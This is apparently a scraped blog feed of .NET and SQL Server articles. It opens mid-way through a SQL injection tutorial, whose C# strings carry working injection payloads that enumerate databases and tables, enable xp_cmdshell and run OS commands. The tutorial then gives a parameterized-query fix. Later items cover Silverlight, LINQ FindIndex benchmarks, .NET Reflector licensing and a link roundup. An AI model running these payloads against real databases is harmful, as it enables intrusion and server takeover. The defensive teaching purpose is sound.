"' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

  Read the article

• Windows 8 Will be Here Tomorrow; but Should Silverlight be Gone Today?

  - by andrewbrust

  The software industry lives within an interesting paradox. IT in the enterprise moves slowly and cautiously, upgrading only when safe and necessary.  IT interests intentionally live in the past.  On the other hand, developers, and Independent Software Vendors (ISVs) not only want to use the latest and greatest technologies, but this constituency prides itself on gauging tech’s future, and basing its present-day strategy upon it.  Normally, we as an industry manage this paradox with a shrug of the shoulder and musings along the lines of “it takes all kinds.”  Different subcultures have different tendencies.  So be it. Microsoft, with its Windows operating system (OS), can’t take such a laissez-faire view of the world though.  Redmond relies on IT to deploy Windows and (at the very least) influence its procurement, but it also relies on developers to build software for Windows, especially software that has a dependency on features in new versions of the OS.  It must indulge and nourish developers’ fetish for an early birthing of the next generation of software, even as it acknowledges the IT reality that the next wave will arrive on-schedule in Redmond and will travel very slowly to end users. With the move to Windows 8, and the corresponding shift in application development models, this paradox is certainly in place. On the one hand, the next version of Windows is widely expected sometime in 2012, and its full-scale deployment will likely push into 2014 or even later.  Meanwhile, there’s a technology that runs on today’s Windows 7, will continue to run in the desktop mode of Windows 8 (the next version’s codename), and provides absolutely the best architectural bridge to the Windows 8 Metro-style application development stack.  That technology is Silverlight.  And given what we now know about Windows 8, one might think, as I do, that Microsoft ecosystem developers should be flocking to it. But because developers are trying to get a jump on the future, and since many of them believe the impending v5.0 release of Silverlight will be the technology’s last, not everyone is flocking to it; in fact some are fleeing from it.  Is this sensible?  Is it not unprecedented?  What options does it lead to?  What’s the right way to think about the situation? Is v5.0 really the last major version of the technology called Silverlight?  We don’t know.  But Scott Guthrie, the “father” and champion of the technology, left the Developer Division of Microsoft months ago to work on the Windows Azure team, and he took his people with him.  John Papa, who was a very influential Redmond-based evangelist for Silverlight (and is a Visual Studio Magazine author), left Microsoft completely.  About a year ago, when initial suspicion of Silverlight’s demise reached significant magnitude, Papa interviewed Guthrie on video and their discussion served to dispel developers’ fears; but now they’ve moved on. So read into that what you will and let’s suppose, for the sake of argument, speculation that Silverlight’s days of major revision and iteration are over now is correct.  Let’s assume the shine and glimmer has dimmed.  Let’s assume that any Silverlight application written today, and that therefore any investment of financial and human resources made in Silverlight development today, is destined for rework and extra investment in a few years, if the application’s platform needs to stay current. Is this really so different from any technology investment we make?  Every framework, language, runtime and operating system is subject to change, to improvement, to flux and, yes, to obsolescence.  What differs from project to project, is how near-term that obsolescence is and how disruptive the change will be.  The shift from .NET 1.1. to 2.0 was incremental.  Some of the further changes were too.  But the switch from Windows Forms to WPF was major, and the change from ASP.NET Web Services (asmx) to Windows Communication Foundation (WCF) was downright fundamental. Meanwhile, the transition to the .NET development model for Windows 8 Metro-style applications is actually quite gentle.  The finer points of this subject are covered nicely in Magenic’s excellent white paper “Assessing the Windows 8 Development Platform.” As the authors of that paper (including Rocky Lhotka)  point out, Silverlight code won’t just “port” to Windows 8.  And, no, Silverlight user interfaces won’t either; Metro always supports XAML, but that relationship is not commutative.  But the concepts, the syntax, the architecture and developers’ skills map from Silverlight to Windows 8 Metro and the Windows Runtime (WinRT) very nicely.  That’s not a coincidence.  It’s not an accident.  This is a protected transition.  It’s not a slap in the face. There are few things that are unnerving about this transition, which make it seem markedly different from others: The assumed end of the road for Silverlight is something many think they can see.  Instead of being ignorant of the technology’s expiration date, we believe we know it.  If ignorance is bliss, it would seem our situation lacks it. The new technology involving WinRT and Metro involves a name change from Silverlight. .NET, which underlies both Silverlight and the XAML approach to WinRT development, has just about reached 10 years of age.  That’s equivalent to 80 in human years, or so many fear. My take is that the combination of these three factors has contributed to what for many is a psychologically compelling case that Silverlight should be abandoned today and HTML 5 (the agnostic kind, not the Windows RT variety) should be embraced in its stead.  I understand the logic behind that.  I appreciate the preemptive, proactive, vigilant conscientiousness involved in its calculus.  But for a great many scenarios, I don’t agree with it.  HTML 5 clients, no matter how impressive their interactivity and the emulation of native application interfaces they present may be, are still second-class clients.  They are getting better, especially when hardware acceleration and fast processors are involved.  But they still lag.  They still feel like they’re emulating something, like they’re prototypes, like they’re not comfortable in their own skins.  They are based on compromise, and they feel compromised too. HTML 5/JavaScript development tools are getting better, and will get better still, but they are not as productive as tools for other environments, like Flash, like Silverlight or even more primitive tooling for iOS or Android.  HTML’s roots as a document markup language, rather than an application interface, create a disconnect that impedes productivity.  I do not necessarily think that problem is insurmountable, but it’s here today. If you’re building line-of-business applications, you need a first-class client and you need productivity.  Lack of productivity increases your costs and worsens your backlog.  A second class client will erode user satisfaction, which is never good.  Worse yet, this erosion will be inconspicuous, rather than easily identified and diagnosed, because the inferiority of an HTML 5 client over a native one is hard to identify and, notably, doing so at this juncture in the industry is unpopular.  Why would you fault a technology that everyone believes is revolutionary?  Instead, user disenchantment will remain latent and yet will add to the malaise caused by slower development. If you’re an ISV and you’re coveting the reach of running multi-platform, it’s a different story.  You’ve likely wanted to move to HTML 5 already, and the uncertainty around Silverlight may be the only remaining momentum or pretext you need to make the shift.  You’re deploying many more copies of your application than a line-of-business developer is anyway; this makes the economic hit from lower productivity less impactful, and the wider potential installed base might even make it profitable. But no matter who you are, it’s important to take stock of the situation and do it accurately.  Continued, but merely incremental changes in a development model lead to conservatism and general lack of innovation in the underlying platform.  Periods of stability and equilibrium are necessary, but permanence in that equilibrium leads to loss of platform relevance, market share and utility.  Arguably, that’s already happened to Windows.  The change Windows 8 brings is necessary and overdue.  The marked changes in using .NET if we’re to build applications for the new OS are inevitable.  We will ultimately benefit from the change, and what we can reasonably hope for in the interim is a migration path for our code and skills that is navigable, logical and conceptually comfortable. That path takes us to a place called WinRT, rather than a place called Silverlight.  But considering everything that is changing for the good, the number of disruptive changes is impressively minimal.  The name may be changing, and there may even be some significance to that in terms of Microsoft’s internal management of products and technologies.  But as the consumer, you should care about the ingredients, not the name.  Turkish coffee and Greek coffee are much the same. Although you’ll find plenty of interested parties who will find the names significant, drinkers of the beverage should enjoy either one.  It’s all coffee, it’s all sweet, and you can tell your fortune from the grounds that are left at the end.  Back on the software side, it’s all XAML, and C# or VB .NET, and you can make your fortune from the product that comes out at the end.  Coffee drinkers wouldn’t switch to tea.  Why should XAML developers switch to HTML?

  Read the article

• C#/.NET &ndash; Finding an Item&rsquo;s Index in IEnumerable&lt;T&gt;

  - by James Michael Hare

  Sorry for the long blogging hiatus.  First it was, of course, the holidays hustle and bustle, then my brother and his wife gave birth to their son, so I’ve been away from my blogging for two weeks. Background: Finding an item’s index in List<T> is easy… Many times in our day to day programming activities, we want to find the index of an item in a collection.  Now, if we have a List<T> and we’re looking for the item itself this is trivial: 1: // assume have a list of ints: 2: var list = new List<int> { 1, 13, 42, 64, 121, 77, 5, 99, 132 }; 3:  4: // can find the exact item using IndexOf() 5: var pos = list.IndexOf(64); This will return the position of the item if it’s found, or –1 if not.  It’s easy to see how this works for primitive types where equality is well defined.  For complex types, however, it will attempt to compare them using EqualityComparer<T>.Default which, in a nutshell, relies on the object’s Equals() method. So what if we want to search for a condition instead of equality?  That’s also easy in a List<T> with the FindIndex() method: 1: // assume have a list of ints: 2: var list = new List<int> { 1, 13, 42, 64, 121, 77, 5, 99, 132 }; 3:  4: // finds index of first even number or -1 if not found. 5: var pos = list.FindIndex(i => i % 2 == 0);   Problem: Finding an item’s index in IEnumerable<T> is not so easy... This is all well and good for lists, but what if we want to do the same thing for IEnumerable<T>?  A collection of IEnumerable<T> has no indexing, so there’s no direct method to find an item’s index.  LINQ, as powerful as it is, gives us many tools to get us this information, but not in one step.  As with almost any problem involving collections, there are several ways to accomplish the same goal.  And once again as with almost any problem involving collections, the choice of the solution somewhat depends on the situation. So let’s look at a few possible alternatives.  I’m going to express each of these as extension methods for simplicity and consistency. Solution: The TakeWhile() and Count() combo One of the things you can do is to perform a TakeWhile() on the list as long as your find condition is not true, and then do a Count() of the items it took.  The only downside to this method is that if the item is not in the list, the index will be the full Count() of items, and not –1.  So if you don’t know the size of the list beforehand, this can be confusing. 1: // a collection of extra extension methods off IEnumerable<T> 2: public static class EnumerableExtensions 3: { 4: // Finds an item in the collection, similar to List<T>.FindIndex() 5: public static int FindIndex<T>(this IEnumerable<T> list, Predicate<T> finder) 6: { 7: // note if item not found, result is length and not -1! 8: return list.TakeWhile(i => !finder(i)).Count(); 9: } 10: } Personally, I don’t like switching the paradigm of not found away from –1, so this is one of my least favorites.  Solution: Select with index Many people don’t realize that there is an alternative form of the LINQ Select() method that will provide you an index of the item being selected: 1: list.Select( (item,index) => do something here with the item and/or index... ) This can come in handy, but must be treated with care.  This is because the index provided is only as pertains to the result of previous operations (if any).  For example: 1: // assume have a list of ints: 2: var list = new List<int> { 1, 13, 42, 64, 121, 77, 5, 99, 132 }; 3:  4: // you'd hope this would give you the indexes of the even numbers 5: // which would be 2, 3, 8, but in reality it gives you 0, 1, 2 6: list.Where(item => item % 2 == 0).Select((item,index) => index); The reason the example gives you the collection { 0, 1, 2 } is because the where clause passes over any items that are odd, and therefore only the even items are given to the select and only they are given indexes. Conversely, we can’t select the index and then test the item in a Where() clause, because then the Where() clause would be operating on the index and not the item! So, what we have to do is to select the item and index and put them together in an anonymous type.  It looks ugly, but it works: 1: // extensions defined on IEnumerable<T> 2: public static class EnumerableExtensions 3: { 4: // finds an item in a collection, similar to List<T>.FindIndex() 5: public static int FindIndex<T>(this IEnumerable<T> list, Predicate<T> finder) 6: { 7: // if you don't name the anonymous properties they are the variable names 8: return list.Select((item, index) => new { item, index }) 9: .Where(p => finder(p.item)) 10: .Select(p => p.index + 1) 11: .FirstOrDefault() - 1; 12: } 13: }     So let’s look at this, because i know it’s convoluted: First Select() joins the items and their indexes into an anonymous type. Where() filters that list to only the ones matching the predicate. Second Select() picks the index of the matches and adds 1 – this is to distinguish between not found and first item. FirstOrDefault() returns the first item found from the previous clauses or default (zero) if not found. Subtract one so that not found (zero) will be –1, and first item (one) will be zero. The bad thing is, this is ugly as hell and creates anonymous objects for each item tested until it finds the match.  This concerns me a bit but we’ll defer judgment until compare the relative performances below. Solution: Convert ToList() and use FindIndex() This solution is easy enough.  We know any IEnumerable<T> can be converted to List<T> using the LINQ extension method ToList(), so we can easily convert the collection to a list and then just use the FindIndex() method baked into List<T>. 1: // a collection of extension methods for IEnumerable<T> 2: public static class EnumerableExtensions 3: { 4: // find the index of an item in the collection similar to List<T>.FindIndex() 5: public static int FindIndex<T>(this IEnumerable<T> list, Predicate<T> finder) 6: { 7: return list.ToList().FindIndex(finder); 8: } 9: } This solution is simplicity itself!  It is very concise and elegant and you need not worry about anyone misinterpreting what it’s trying to do (as opposed to the more convoluted LINQ methods above). But the main thing I’m concerned about here is the performance hit to allocate the List<T> in the ToList() call, but once again we’ll explore that in a second. Solution: Roll your own FindIndex() for IEnumerable<T> Of course, you can always roll your own FindIndex() method for IEnumerable<T>.  It would be a very simple for loop which scans for the item and counts as it goes.  There’s many ways to do this, but one such way might look like: 1: // extension methods for IEnumerable<T> 2: public static class EnumerableExtensions 3: { 4: // Finds an item matching a predicate in the enumeration, much like List<T>.FindIndex() 5: public static int FindIndex<T>(this IEnumerable<T> list, Predicate<T> finder) 6: { 7: int index = 0; 8: foreach (var item in list) 9: { 10: if (finder(item)) 11: { 12: return index; 13: } 14:  15: index++; 16: } 17:  18: return -1; 19: } 20: } Well, it’s not quite simplicity, and those less familiar with LINQ may prefer it since it doesn’t include all of the lambdas and behind the scenes iterators that come with deferred execution.  But does having this long, blown out method really gain us much in performance? Comparison of Proposed Solutions So we’ve now seen four solutions, let’s analyze their collective performance.  I took each of the four methods described above and run them over 100,000 iterations of lists of size 10, 100, 1000, and 10000 and here’s the performance results.  Then I looked for targets at the begining of the list (best case), middle of the list (the average case) and not in the list (worst case as must scan all of the list). Each of the times below is the average time in milliseconds for one execution as computer over the 100,000 iterations: Searches Matching First Item (Best Case)   10 100 1000 10000 TakeWhile 0.0003 0.0003 0.0003 0.0003 Select 0.0005 0.0005 0.0005 0.0005 ToList 0.0002 0.0003 0.0013 0.0121 Manual 0.0001 0.0001 0.0001 0.0001   Searches Matching Middle Item (Average Case)   10 100 1000 10000 TakeWhile 0.0004 0.0020 0.0191 0.1889 Select 0.0008 0.0042 0.0387 0.3802 ToList 0.0002 0.0007 0.0057 0.0562 Manual 0.0002 0.0013 0.0129 0.1255   Searches Where Not Found (Worst Case)   10 100 1000 10000 TakeWhile 0.0006 0.0039 0.0381 0.3770 Select 0.0012 0.0081 0.0758 0.7583 ToList 0.0002 0.0012 0.0100 0.0996 Manual 0.0003 0.0026 0.0253 0.2514   Notice something interesting here, you’d think the “roll your own” loop would be the most efficient, but it only wins when the item is first (or very close to it) regardless of list size.  In almost all other cases though and in particular the average case and worst case, the ToList()/FindIndex() combo wins for performance, even though it is creating some temporary memory to hold the List<T>.  If you examine the algorithm, the reason why is most likely because once it’s in a ToList() form, internally FindIndex() scans the internal array which is much more efficient to iterate over.  Thus, it takes a one time performance hit (not including any GC impact) to create the List<T> but after that the performance is much better. Summary If you’re concerned about too many throw-away objects, you can always roll your own FindIndex() method, but for sheer simplicity and overall performance, using the ToList()/FindIndex() combo performs best on nearly all list sizes in the average and worst cases.    Technorati Tags: C#,.NET,Litte Wonders,BlackRabbitCoder,Software,LINQ,List

  Read the article

• The Red Gate and .NET Reflector Debacle

  - by Rick Strahl

  About a month ago Red Gate – the company who owns the NET Reflector tool most .NET devs use at one point or another – decided to change their business model for Reflector and take the product from free to a fully paid for license model. As a bit of history: .NET Reflector was originally created by Lutz Roeder as a free community tool to inspect .NET assemblies. Using Reflector you can examine the types in an assembly, drill into type signatures and quickly disassemble code to see how a particular method works.  In case you’ve been living under a rock and you’ve never looked at Reflector, here’s what it looks like drilled into an assembly from disk with some disassembled source code showing: Note that you get tons of information about each element in the tree, and almost all related types and members are clickable both in the list and source view so it’s extremely easy to navigate and follow the code flow even in this static assembly only view. For many year’s Lutz kept the the tool up to date and added more features gradually improving an already amazing tool and making it better. Then about two and a half years ago Red Gate bought the tool from Lutz. A lot of ruckus and noise ensued in the community back then about what would happen with the tool and… for the most part very little did. Other than the incessant update notices with prominent Red Gate promo on them life with Reflector went on. The product didn’t die and and it didn’t go commercial or to a charge model. When .NET 4.0 came out it still continued to work mostly because the .NET feature set doesn’t drastically change how types behave.  Then a month back Red Gate started making noise about a new Version Version 7 which would be commercial. No more free version - and a shit storm broke out in the community. Now normally I’m not one to be critical of companies trying to make money from a product, much less for a product that’s as incredibly useful as Reflector. There isn’t day in .NET development that goes by for me where I don’t fire up Reflector. Whether it’s for examining the innards of the .NET Framework, checking out third party code, or verifying some of my own code and resources. Even more so recently I’ve been doing a lot of Interop work with a non-.NET application that needs to access .NET components and Reflector has been immensely valuable to me (and my clients) if figuring out exact type signatures required to calling .NET components in assemblies. In short Reflector is an invaluable tool to me. Ok, so what’s the problem? Why all the fuss? Certainly the $39 Red Gate is trying to charge isn’t going to kill any developer. If there’s any tool in .NET that’s worth $39 it’s Reflector, right? Right, but that’s not the problem here. The problem is how Red Gate went about moving the product to commercial which borders on the downright bizarre. It’s almost as if somebody in management wrote a slogan: “How can we piss off the .NET community in the most painful way we can?” And that it seems Red Gate has a utterly succeeded. People are rabid, and for once I think that this outrage isn’t exactly misplaced. Take a look at the message thread that Red Gate dedicated from a link off the download page. Not only is Version 7 going to be a paid commercial tool, but the older versions of Reflector won’t be available any longer. Not only that but older versions that are already in use also will continually try to update themselves to the new paid version – which when installed will then expire unless registered properly. There have also been reports of Version 6 installs shutting themselves down and failing to work if the update is refused (I haven’t seen that myself so not sure if that’s true). In other words Red Gate is trying to make damn sure they’re getting your money if you attempt to use Reflector. There’s a lot of temptation there. Think about the millions of .NET developers out there and all of them possibly upgrading – that’s a nice chunk of change that Red Gate’s sitting on. Even with all the community backlash these guys are probably making some bank right now just because people need to get life to move on. Red Gate also put up a Feedback link on the download page – which not surprisingly is chock full with hate mail condemning the move. Oddly there’s not a single response to any of those messages by the Red Gate folks except when it concerns license questions for the full version. It puzzles me what that link serves for other yet than another complete example of failure to understand how to handle customer relations. There’s no doubt that that all of this has caused some serious outrage in the community. The sad part though is that this could have been handled so much less arrogantly and without pissing off the entire community and causing so much ill-will. People are pissed off and I have no doubt that this negative publicity will show up in the sales numbers for their other products. I certainly hope so. Stupidity ought to be painful! Why do Companies do boneheaded stuff like this? Red Gate’s original decision to buy Reflector was hotly debated but at that the time most of what would happen was mostly speculation. But I thought it was a smart move for any company that is in need of spreading its marketing message and corporate image as a vendor in the .NET space. Where else do you get to flash your corporate logo to hordes of .NET developers on a regular basis?  Exploiting that marketing with some goodwill of providing a free tool breeds positive feedback that hopefully has a good effect on the company’s visibility and the products it sells. Instead Red Gate seems to have taken exactly the opposite tack of corporate bullying to try to make a quick buck – and in the process ruined any community goodwill that might have come from providing a service community for free while still getting valuable marketing. What’s so puzzling about this boneheaded escapade is that the company doesn’t need to resort to underhanded tactics like what they are trying with Reflector 7. The tools the company makes are very good. I personally use SQL Compare, Sql Data Compare and ANTS Profiler on a regular basis and all of these tools are essential in my toolbox. They certainly work much better than the tools that are in the box with Visual Studio. Chances are that if Reflector 7 added useful features I would have been more than happy to shell out my $39 to upgrade when the time is right. It’s Expensive to give away stuff for Free At the same time, this episode shows some of the big problems that come with ‘free’ tools. A lot of organizations are realizing that giving stuff away for free is actually quite expensive and the pay back is often very intangible if any at all. Those that rely on donations or other voluntary compensation find that they amount contributed is absolutely miniscule as to not matter at all. Yet at the same time I bet most of those clamouring the loudest on that Red Gate Reflector feedback page that Reflector won’t be free anymore probably have NEVER made a donation to any open source project or free tool ever. The expectation of Free these days is just too great – which is a shame I think. There’s a lot to be said for paid software and having somebody to hold to responsible to because you gave them some money. There’s an incentive –> payback –> responsibility model that seems to be missing from free software (not all of it, but a lot of it). While there certainly are plenty of bad apples in paid software as well, money tends to be a good motivator for people to continue working and improving products. Reasons for giving away stuff are many but often it’s a naïve desire to share things when things are simple. At first it might be no problem to volunteer time and effort but as products mature the fun goes out of it, and as the reality of product maintenance kicks in developers want to get something back for the time and effort they’re putting in doing non-glamorous work. It’s then when products die or languish and this is painful for all to watch. For Red Gate however, I think there was always a pretty good payback from the Reflector acquisition in terms of marketing: Visibility and possible positioning of their products although they seemed to have mostly ignored that option. On the other hand they started this off pretty badly even 2 and a half years back when they aquired Reflector from Lutz with the same arrogant attitude that is evident in the latest episode. You really gotta wonder what folks are thinking in management – the sad part is from advance emails that were circulating, they were fully aware of the shit storm they were inciting with this and I suspect they are banking on the sheer numbers of .NET developers to still make them a tidy chunk of change from upgrades… Alternatives are coming For me personally the single license isn’t a problem, but I actually have a tool that I sell (an interop Web Service proxy generation tool) to customers and one of the things I recommend to use with has been Reflector to view assembly information and to find which Interop classes to instantiate from the non-.NET environment. It’s been nice to use Reflector for this with its small footprint and zero-configuration installation. But now with V7 becoming a paid tool that option is not going to be available anymore. Luckily it looks like the .NET community is jumping to it and trying to fill the void. Amidst the Red Gate outrage a new library called ILSpy has sprung up and providing at least some of the core functionality of Reflector with an open source library. It looks promising going forward and I suspect there will be a lot more support and interest to support this project now that Reflector has gone over to the ‘dark side’…© Rick Strahl, West Wind Technologies, 2005-2011

  Read the article

• SQL SERVER – Weekly Series – Memory Lane – #039

  - by Pinal Dave

  Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 FQL – Facebook Query Language Facebook list following advantages of FQL: Condensed XML reduces bandwidth and parsing costs. More complex requests can reduce the number of requests necessary. Provides a single consistent, unified interface for all of your data. It’s fun! UDF – Get the Day of the Week Function The day of the week can be retrieved in SQL Server by using the DatePart function. The value returned by the function is between 1 (Sunday) and 7 (Saturday). To convert this to a string representing the day of the week, use a CASE statement. UDF – Function to Get Previous And Next Work Day – Exclude Saturday and Sunday While reading ColdFusion blog of Ben Nadel Getting the Previous Day In ColdFusion, Excluding Saturday And Sunday, I realize that I use similar function on my SQL Server Database. This function excludes the Weekends (Saturday and Sunday), and it gets previous as well as next work day. Complete Series of SQL Server Interview Questions and Answers Data Warehousing Interview Questions and Answers – Introduction Data Warehousing Interview Questions and Answers – Part 1 Data Warehousing Interview Questions and Answers – Part 2 Data Warehousing Interview Questions and Answers – Part 3 Data Warehousing Interview Questions and Answers Complete List Download 2008 Introduction to Log Viewer In SQL Server all the windows event logs can be seen along with SQL Server logs. Interface for all the logs is same and can be launched from the same place. This log can be exported and filtered as well. DBCC SHRINKFILE Takes Long Time to Run If you are DBA who are involved with Database Maintenance and file group maintenance, you must have experience that many times DBCC SHRINKFILE operations takes a long time but any other operations with Database are relatively quicker. mssqlsystemresource – Resource Database The purpose of resource database is to facilitates upgrading to the new version of SQL Server without any hassle. In previous versions whenever version of SQL Server was upgraded all the previous version system objects needs to be dropped and new version system objects to be created. 2009 Puzzle – Write Script to Generate Primary Key and Foreign Key In SQL Server Management Studio (SSMS), there is no option to script all the keys. If one is required to script keys they will have to manually script each key one at a time. If database has many tables, generating one key at a time can be a very intricate task. I want to throw a question to all of you if any of you have scripts for the same purpose. Maximizing View of SQL Server Management Studio – Full Screen – New Screen I had explained the following two different methods: 1) Open Results in Separate Tab - This is a very interesting method as result pan shows up in a different tab instead of the splitting screen horizontally. 2) Open SSMS in Full Screen - This works always and to its best. Not many people are aware of this method; hence, very few people use it to enhance performance. 2010 Find Queries using Parallelism from Cached Plan T-SQL script gets all the queries and their execution plan where parallelism operations are kicked up. Pay attention there is TOP 10 is used, if you have lots of transactional operations, I suggest that you change TOP 10 to TOP 50 This is the list of the all the articles in the series of computed columns. SQL SERVER – Computed Column – PERSISTED and Storage This article talks about how computed columns are created and why they take more storage space than before. SQL SERVER – Computed Column – PERSISTED and Performance This article talks about how PERSISTED columns give better performance than non-persisted columns. SQL SERVER – Computed Column – PERSISTED and Performance – Part 2 This article talks about how non-persisted columns give better performance than PERSISTED columns. SQL SERVER – Computed Column and Performance – Part 3 This article talks about how Index improves the performance of Computed Columns. SQL SERVER – Computed Column – PERSISTED and Storage – Part 2 This article talks about how creating index on computed column does not grow the row length of table. SQL SERVER – Computed Columns – Index and Performance This article summarized all the articles related to computed columns. 2011 SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 21 of 31 What is Data Warehousing? What is Business Intelligence (BI)? What is a Dimension Table? What is Dimensional Modeling? What is a Fact Table? What are the Fundamental Stages of Data Warehousing? What are the Different Methods of Loading Dimension tables? Describes the Foreign Key Columns in Fact Table and Dimension Table? What is Data Mining? What is the Difference between a View and a Materialized View? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 22 of 31 What is OLTP? What is OLAP? What is the Difference between OLTP and OLAP? What is ODS? What is ER Diagram? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 23 of 31 What is ETL? What is VLDB? Is OLTP Database is Design Optimal for Data Warehouse? If denormalizing improves Data Warehouse Processes, then why is the Fact Table is in the Normal Form? What are Lookup Tables? What are Aggregate Tables? What is Real-Time Data-Warehousing? What are Conformed Dimensions? What is a Conformed Fact? How do you Load the Time Dimension? What is a Level of Granularity of a Fact Table? What are Non-Additive Facts? What is a Factless Facts Table? What are Slowly Changing Dimensions (SCD)? SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Data Warehousing Concepts – Day 24 of 31 What is Hybrid Slowly Changing Dimension? What is BUS Schema? What is a Star Schema? What Snow Flake Schema? Differences between the Star and Snowflake Schema? What is Difference between ER Modeling and Dimensional Modeling? What is Degenerate Dimension Table? Why is Data Modeling Important? What is a Surrogate Key? What is Junk Dimension? What is a Data Mart? What is the Difference between OLAP and Data Warehouse? What is a Cube and Linked Cube with Reference to Data Warehouse? What is Snapshot with Reference to Data Warehouse? What is Active Data Warehousing? What is the Difference between Data Warehousing and Business Intelligence? What is MDS? Explain the Paradigm of Bill Inmon and Ralph Kimball. SQL SERVER – Azure Interview Questions and Answers – Guest Post by Paras Doshi – Day 25 of 31 Paras Doshi has submitted 21 interesting question and answers for SQL Azure. 1.What is SQL Azure? 2.What is cloud computing? 3.How is SQL Azure different than SQL server? 4.How many replicas are maintained for each SQL Azure database? 5.How can we migrate from SQL server to SQL Azure? 6.Which tools are available to manage SQL Azure databases and servers? 7.Tell me something about security and SQL Azure. 8.What is SQL Azure Firewall? 9.What is the difference between web edition and business edition? 10.How do we synchronize On Premise SQL server with SQL Azure? 11.How do we Backup SQL Azure Data? 12.What is the current pricing model of SQL Azure? 13.What is the current limitation of the size of SQL Azure DB? 14.How do you handle datasets larger than 50 GB? 15.What happens when the SQL Azure database reaches Max Size? 16.How many databases can we create in a single server? 17.How many servers can we create in a single subscription? 18.How do you improve the performance of a SQL Azure Database? 19.What is code near application topology? 20.What were the latest updates to SQL Azure service? 21.When does a workload on SQL Azure get throttled? SQL SERVER – Interview Questions and Answers – Guest Post by Malathi Mahadevan – Day 26 of 31 Malachi had asked a simple question which has several answers. Each answer makes you think and ponder about the reality of the IT world. Look at the simple question – ‘What is the toughest challenge you have faced in your present job and how did you handle it’? and its various answers. Each answer has its own story. SQL SERVER – Interview Questions and Answers – Guest Post by Rick Morelan – Day 27 of 31 Rick Morelan of Joes2Pros has written an excellent blog post on the subject how to find top N values. Most people are fully aware of how the TOP keyword works with a SELECT statement. After years preparing so many students to pass the SQL Certification I noticed they were pretty well prepared for job interviews too. Yes, they would do well in the interview but not great. There seemed to be a few questions that would come up repeatedly for almost everyone. Rick addresses similar questions in his lucid writing skills. 2012 Observation of Top with Index and Order of Resultset SQL Server has lots of things to learn and share. It is amazing to see how people 